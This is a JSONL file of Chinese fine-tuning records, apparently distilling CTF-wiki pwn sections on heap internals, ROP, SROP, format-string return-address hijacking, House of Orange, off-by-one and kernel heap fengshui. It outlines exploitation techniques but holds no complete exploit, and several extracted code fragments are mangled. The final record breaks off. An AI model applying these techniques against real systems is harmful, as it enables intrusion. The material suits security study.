{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-d3ac66cf8a1330bd6689", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md` 中的章节「malloc_state」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md`\n标题：堆相关数据结构\n章节：endif > malloc_state\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“malloc_state”展开。\n- 该结构用于管理堆，记录每个 arena 当前申请的内存的具体状态，比如说是否有空闲chunk，有什么大小的空闲chunk 等等。\n- 无论是 thread arena 还是 main arena，它们都只有一个 malloc state 结构。\n- 注意，main arena 的 malloc_state 并不是 heap segment 的一部分，而是一个全局变量，存储在 libc.so 的数据段。\n- / The remainder from the most recent split of a small request / mchunkptr last_remainder;\n- Otherwise, contiguity is exploited in merging together, when possible, results from consecutive MORECORE calls.\n\n关键术语：\n- 堆\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n- code:c++\n- code:c\n\n代码/命令片段线索：\n- c++: 28 行，首行 `struct malloc_state {`\n- c: 30 行，首行 `/*`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 3382, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "malloc_state", "heading_path": ["endif", "malloc_state"], "original_id": "docs-7770def2432426c3a72f", "original_line": 964, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md", "source_root": "docs", "source_sha256": "b1de1dbec6826b99266e11e63b8d9fae7712a0f329395937de325e916d1378e8", "split": "train", "split_group_key": "17c5fec6ded44866bf1a42ca", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "heap", "code:c++", "code:c"], "title": "堆相关数据结构"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-d44c80453ba578ec9066", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc-state.md` 中的章节「初始」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc-state.md`\n标题：malloc_state 相关函数\n章节：malloc_state 相关函数 > malloc_consolidate > 初始\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“初始”展开。\n- ``c static void malloc_consolidate(mstate av) { mfastbinptr fb;\n- / last fastbin (for loop control) / mchunkptr p;\n- / chunk to link to / / These have same use as in free() / mchunkptr nextchunk;\n- / current fastbin being consolidated / mfastbinptr maxfb;\n- / current chunk being consolidated / mchunkptr nextp;\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n- code:c\n\n代码/命令片段线索：\n- c: 15 行，首行 `static void malloc_consolidate(mstate av) {`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 553, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "初始", "heading_path": ["malloc_state 相关函数", "malloc_consolidate", "初始"], "original_id": "docs-2e48465eebeb1ab7a5a2", "original_line": 1138, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc-state.md", "source_root": "docs", "source_sha256": "120f69fc5d4393a400a21a2157da8fef9469556c0b752eb8735cfa9c4b827f5e", "split": "train", "split_group_key": "ebda6989b30b79ee82f6385a", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "heap", "code:c"], "title": "malloc_state 相关函数"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc-state.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-d4559013732301f97579", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/heap/slub/freelist.md` 中的章节「例题：RWCTF2022高校赛 - Digging into kernel 1 & 2」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/heap/slub/freelist.md`\n标题：freelist 劫持\n章节：freelist 劫持 > 例题：RWCTF2022高校赛 - Digging into kernel 1 & 2\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“例题：RWCTF2022高校赛 - Digging into kernel 1 & 2”展开。\n- > 两道题目实际上是同一道题，因为第一题由于启动脚本漏洞所以可以直接拿 flag所以第二道题其实是对第一道题目的脚本的修复 题目附件可在 [https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/linux/kernel-mode/RWCTF2022-digging-into-kernel-2](https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/linux/kernel-mode/...\n\n关键术语：\n- 堆\n- 修复/缓解\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 294, "chunk_count": 1, "chunk_index": 0, "ctf_score": 36, "ctf_task_type": "pwn", "heading": "例题：RWCTF2022高校赛 - Digging into kernel 1 & 2", "heading_path": ["freelist 劫持", "例题：RWCTF2022高校赛 - Digging into kernel 1 & 2"], "original_id": "docs-1180a8ba9c31fe57c844", "original_line": 43, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/slub/freelist.md", "source_root": "docs", "source_sha256": "02896b554073a50b7d6d905e5443637655518f6daf2fa5641454b79f4a5f76a3", "split": "train", "split_group_key": "dde541ec4592fbc51895f0bd", "subcategory": "pwn/linux/kernel-mode", "terms": ["堆", "修复/缓解", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "freelist 劫持"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/slub/freelist.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-d4b1bb202e54cfcbd6eb", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/defense/isolation/user-kernel/kpti.md` 中的章节「参考」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/defense/isolation/user-kernel/kpti.md`\n标题：KPTI - Kernel Page Table Isolation\n章节：KPTI - Kernel Page Table Isolation > 参考\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“参考”展开。\n- https://github.com/pr0cf5/kernel-exploit-practice/tree/master/bypass-smep#bypassing-smepkpti-via-rop - https://outflux.net/blog/archives/2018/02/05/security-things-in-linux-v4-15/\n\n关键术语：\n- ROP/JOP\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- defense\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 181, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "参考", "heading_path": ["KPTI - Kernel Page Table Isolation", "参考"], "original_id": "docs-523dddad840648b7c51a", "original_line": 680, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/defense/isolation/user-kernel/kpti.md", "source_root": "docs", "source_sha256": "b88b1df847f13af9b069254f15961f1abf292994651bb55eefb1446127a2cf80", "split": "train", "split_group_key": "fa39f76e56ead2a75611faf6", "subcategory": "pwn/linux/kernel-mode", "terms": ["ROP/JOP", "漏洞利用", "pwn", "linux", "kernel-mode", "defense"], "title": "KPTI - Kernel Page Table Isolation"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/defense/isolation/user-kernel/kpti.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-d4c933583d0cabcb2baf", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/basic-rop.md` 中的章节「zer0ptr @ DESKTOP-FHEMUHT in ~/Pwn-Research/ROP/ret2shellcode/wiki [21:14:26]」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/basic-rop.md`\n标题：基本 ROP\n章节：zer0ptr @ DESKTOP-FHEMUHT in ~/Pwn-Research/ROP/ret2shellcode/wiki [21:14:26]\n路径分类：pwn / pwn/linux/user-mode\n分块：1/2\n\n核心知识点：\n- 本节主题围绕“zer0ptr @ DESKTOP-FHEMUHT in ~/Pwn-Research/ROP/ret2shellcode/wiki [21:14:26]”展开。\n- } } ` 可以看出，程序仍然是基本的栈溢出漏洞，不过这次还同时将对应的字符串复制到 buf2 处。\n- $ checksec ret2shellcode [] '/home/zer0ptr/Pwn-Research/ROP/ret2shellcode/wiki/ret2shellcode' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x400000) Stack: Executable RWX: Has RWX segments...\n- 接下来我们再使用 IDA 对程序进行反编译： `C int __fastcall main(int argc, const char argv, const char envp) { int v3;\n- } else { perror(\"mprotect failed\");\n- DATA XREF: main+51↑o .bss:00000000004040A0 ;\n\n关键术语：\n- 边界/溢出\n- 堆\n- 栈\n- ROP/JOP\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n代码/命令片段线索：\n- plain: 1 行，首行 `可以看出源程序几乎没有开启任何保护，并且有可读，可写，可执行段。接下来我们再使用 IDA 对程序进行反编译：`\n- plain: 1 行，首行 `可以看出，程序仍然是基本的栈溢出漏洞，不过这次还同时将对应的字符串复制到 buf2 处。简单查看可知 buf2 在 bss 段。`\n- plain: 1 行，首行 `这时，我们简单的调试下程序，看看这一个 bss 段是否可执行(由于是通过mprotect来修改权限的，那自然断点下在mprotect被调用后的地址啦)。`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 2806, "chunk_count": 2, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "zer0ptr @ DESKTOP-FHEMUHT in ~/Pwn-Research/ROP/ret2shellcode/wiki [21:14:26]", "heading_path": ["zer0ptr @ DESKTOP-FHEMUHT in ~/Pwn-Research/ROP/ret2shellcode/wiki [21:14:26]"], "original_id": "docs-bba072ebf8341f7c64b9", "original_line": 64, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/basic-rop.md", "source_root": "docs", "source_sha256": "057a5fc1a3ebb4d1e1c7911a1cc846c084c7768efcee467c77c24351625444cb", "split": "train", "split_group_key": "41e4d2fac01a1f3ae339ca83", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "堆", "栈", "ROP/JOP", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow"], "title": "基本 ROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/basic-rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-d52c632d254fdf6438d6", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md` 中的章节「利用思路」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md`\n标题：例子\n章节：例子 > hijack retaddr > 例子 > 利用思路\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 利用思路如下 - 确定偏移 - 获取函数的 rbp 与返回地址 - 根据相对偏移获取存储返回地址的地址 - 将执行 system 函数调用的地址写入到存储返回地址的地址。\n- 我们最终的目的是希望可以获得系统的 shell，可以发现在给定的文件中，在 0x00000000004008A6 地址处有一个直接调用system('bin/sh') 的函数（关于这个的发现，一般都会现在程序大致看一下。\n- 虽然存储返回地址的内存本身是动态变化的，但是其相对于 rbp 的地址并不会改变，所以我们可以使用相对地址来计算。\n- 那如果我们修改某个函数的返回地址为这个地址，那就相当于获得了 shell。\n\n关键术语：\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- fmtstr\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 293, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "利用思路", "heading_path": ["例子", "hijack retaddr", "例子", "利用思路"], "original_id": "docs-bafbd4828e49d31ccc39", "original_line": 866, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-example.md", "source_root": "docs", "source_sha256": "d526df47868271160568cb01971c9633d988d9cb048751897540a339b9e018a0", "split": "train", "split_group_key": "e88701a2152fd21a3941a05d", "subcategory": "pwn/linux/user-mode", "terms": ["漏洞利用", "pwn", "linux", "user-mode", "fmtstr"], "title": "例子"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-example.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-d542bfe6132f95f797ab", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-overflow.md` 中的章节「使用 setsockopt 与 pgv 完成页级内存占位与堆风水」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-overflow.md`\n标题：Cross-Cache Overflow & Page-level Heap Fengshui\n章节：Cross-Cache Overflow & Page-level Heap Fengshui > Page-level Heap Fengshui > 使用 setsockopt 与 pgv 完成页级内存占位与堆风水\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“使用 setsockopt 与 pgv 完成页级内存占位与堆风水”展开。\n- } ` 在 alloc_one_pg_vec_page() 中会直接调用 __get_free_pages() 向 buddy system 请求内存页，因此我们可以利用该函数进行大量的页面请求： `c static char alloc_one_pg_vec_page(unsigned long order) { char buffer;\n- //... } ` 相应地， pgv 中的页面也会在 socket 被关闭后释放： `c packet_release() packet_set_ring() free_pg_vec() ` setsockopt() 也可以帮助我们完成页级堆风水，当我们耗尽 buddy system 中的 low order pages 后，我们再请求的页面便都是物理连续的，因此此时我们再进行 setsockopt() 便相当于获取到了一块近乎物理连续的内存（为什么是“近乎连续”是因为大量的 setsockopt()` 流程...\n- pg_vec = kcalloc(block_nr, sizeof(struct pgv), GFP_KERNEL | __GFP_NOWARN);\n- i++) { pg_vec[i].buffer = alloc_one_pg_vec_page(order);\n- out_free_pgvec: free_pg_vec(pg_vec, order, block_nr);\n\n关键术语：\n- CVE\n- 边界/溢出\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n- code:c\n\n代码/命令片段线索：\n- c: 5 行，首行 `__sys_setsockopt()`\n- c: 20 行，首行 `static struct pgv *alloc_pg_vec(struct tpacket_req *req, int order)`\n- c: 10 行，首行 `static char *alloc_one_pg_vec_page(unsigned long order)`\n- c: 3 行，首行 `packet_release()`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1754, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "使用 setsockopt 与 pgv 完成页级内存占位与堆风水", "heading_path": ["Cross-Cache Overflow & Page-level Heap Fengshui", "Page-level Heap Fengshui", "使用 setsockopt 与 pgv 完成页级内存占位与堆风水"], "original_id": "docs-d3a4f8f7e07ae4bd0220", "original_line": 731, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-overflow.md", "source_root": "docs", "source_sha256": "a2c8dfa6b0a89023b0f0db82bad6de6ee6403266bdc7488673a702ae7cd05846", "split": "train", "split_group_key": "73d431ac09f40920fa75055a", "subcategory": "pwn/linux/kernel-mode", "terms": ["CVE", "边界/溢出", "堆", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation", "code:c"], "title": "Cross-Cache Overflow & Page-level Heap Fengshui"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-overflow.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-d553b7c1d4a653e8faa7", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/windows/kernel-mode/basic-knowledge/introduction.md` 中的章节「下层：硬件抽象层（Hardware Abstract Layer）」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/windows/kernel-mode/basic-knowledge/introduction.md`\n标题：基础知识\n章节：基础知识 > 二、内核态部分 > 下层：硬件抽象层（Hardware Abstract Layer）\n路径分类：pwn / pwn/windows/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“下层：硬件抽象层（Hardware Abstract Layer）”展开。\n- 需要注意的是 HAL 主要负责 IO 等通用资源的抽象，部分驱动的部分操作仍然是绕开 HAL 直接与硬件进行通信的。\n- 硬件抽象层（Hardware Abstract Layer）负责隐藏与屏蔽底层不同硬件的各种细节，从而向上层内核提供统一的抽象硬件接口，例如 IO 接口、中断控制器等硬件行为的统一抽象。\n- HAL 的目的主要是消除硬件架构间的差异，从而方便操作系统与驱动开发者为不同硬件平台编写与具体硬件架构无强相关的代码以跨平台运行，从而无需为每个硬件平台都单独编写一套针对性代码。\n\n关键术语：\n- pwn\n- windows\n- kernel-mode\n- basic-knowledge\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 277, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "下层：硬件抽象层（Hardware Abstract Layer）", "heading_path": ["基础知识", "二、内核态部分", "下层：硬件抽象层（Hardware Abstract Layer）"], "original_id": "docs-a12027c127cbfc3aaf37", "original_line": 1447, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/windows/kernel-mode/basic-knowledge/introduction.md", "source_root": "docs", "source_sha256": "dffe9072413dc248a151b1fce985a46c7e465f5387c687ba5f3287e4acd99fc6", "split": "train", "split_group_key": "73029122bf1d2be8adea3bcf", "subcategory": "pwn/windows/kernel-mode", "terms": ["pwn", "windows", "kernel-mode", "basic-knowledge"], "title": "基础知识"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/windows/kernel-mode/basic-knowledge/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-d57154670079deb77440", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop.md` 中的章节「攻击原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop.md`\n标题：SROP\n章节：SROP > 攻击原理\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“攻击原理”展开。\n- 说到这里，其实，SROP的基本利用原理也就出现了。\n- 仔细回顾一下内核在signal信号处理的过程中的工作，我们可以发现，内核主要做的工作就是为进程保存上下文，并且恢复上下文。\n- 但是需要注意的是： - Signal Frame被保存在用户的地址空间中，所以用户是可以读写的。\n- 由于内核与信号处理程序无关(kernel agnostic about signal handlers)，它并不会去记录这个signal对应的Signal Frame，所以当执行sigreturn系统调用时，此时的Signal Frame并不一定是之前内核为用户进程保存的Signal Frame。\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 323, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "攻击原理", "heading_path": ["SROP", "攻击原理"], "original_id": "docs-6924523ba2a24d307f5d", "original_line": 75, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop.md", "source_root": "docs", "source_sha256": "be09d01c0a7443a4780110de7f6d46e89cf31a313492e7e6da2a5370dd9dbdd1", "split": "train", "split_group_key": "c190cff10d3ab8cc1149a0a7", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow"], "title": "SROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-d600822f06f1c0b387cb", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-orange.md` 中的章节「正确的示例」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-orange.md`\n标题：House of Orange\n章节：House of Orange > 正确的示例\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“正确的示例”展开。\n- ` #include  #define fake_size 0x1fe1 int main(void) { void ptr;\n- ` 0x602000: 0x0000000000000000 0x0000000000000021 0x602010: 0x0000000000000000 0x0000000000000000 0x602020: 0x0000000000000000 0x0000000000020fe1 <== top chunk 0x602030: 0x0000000000000000 0x0000000000000000 ` 因此我们伪造的fake_size可以是0x0fe1、0x1fe1、0x2fe1、0x3fe1等...\n- 我们回头来看一下assert的条件，可以发现之前列出的条目都被满足了除了第一条。\n- `` 1.伪造的size必须要对齐到内存页 ` 什么是对齐到内存页呢？\n- 在覆盖之前top chunk的size大小是20fe1，通过计算得知0x602020+0x20fe0=0x623000是对于0x1000（4kb）对齐的。\n\n关键术语：\n- 堆\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n代码/命令片段线索：\n- plain: 1 行，首行 `1.伪造的size必须要对齐到内存页`\n- plain: 4 行，首行 `0x602000: 0x0000000000000000 0x0000000000000021`\n- plain: 11 行，首行 `#include `\n- plain: 4 行，首行 `//原有的堆`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1830, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "正确的示例", "heading_path": ["House of Orange", "正确的示例"], "original_id": "docs-d1df53299203f3b48932", "original_line": 991, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/house-of-orange.md", "source_root": "docs", "source_sha256": "eb24a5de679105c6f7e15121ceb0af595501aab8048a0e3588df872e47ddec53", "split": "train", "split_group_key": "53654b7ece3ccdc045dc2b5d", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "House of Orange"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/house-of-orange.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-d60b206f2c4c1948e4db", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md` 中的章节「漏洞利用分析」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md`\n标题：堆中的 Off-By-One\n章节：vim:fenc=utf-8 > 实例 2 : plaidctf 2015 plaiddb > 漏洞利用分析\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“漏洞利用分析”展开。\n- 在此之后，依次释放掉 5, 3, 1, 之后利用 del 输入时候的 getline，将 3 填满，造成 off-by-one，之后将 4 free 掉进行合并（伪造 prev_size`），这样就有了一个交叉的堆结构了。\n- 漏洞的位置在功能分析中已经指出来了，在 getline 当中，但是这个函数比较特殊的地方在于，它所分配的大小是逐渐增大的，通过可用大小乘二的方式增大，使用了 realloc，也就是说，我们想要触发这个漏洞，就需要满足特定大小的要求。\n- 根据分配过程，满足的大小有： 0x18 0x38 0x78 0xf8 0x1f8 ... 这些大小都可以触发溢出。\n- 首先 off-by-one 漏洞可以造成堆交叉，可以造成 libc 地址泄露，之后所要采用的利用方法，由于已经存在堆交叉，也就是可以形成 UAF ，可以使用 UAF 的常用方法。\n- UAF 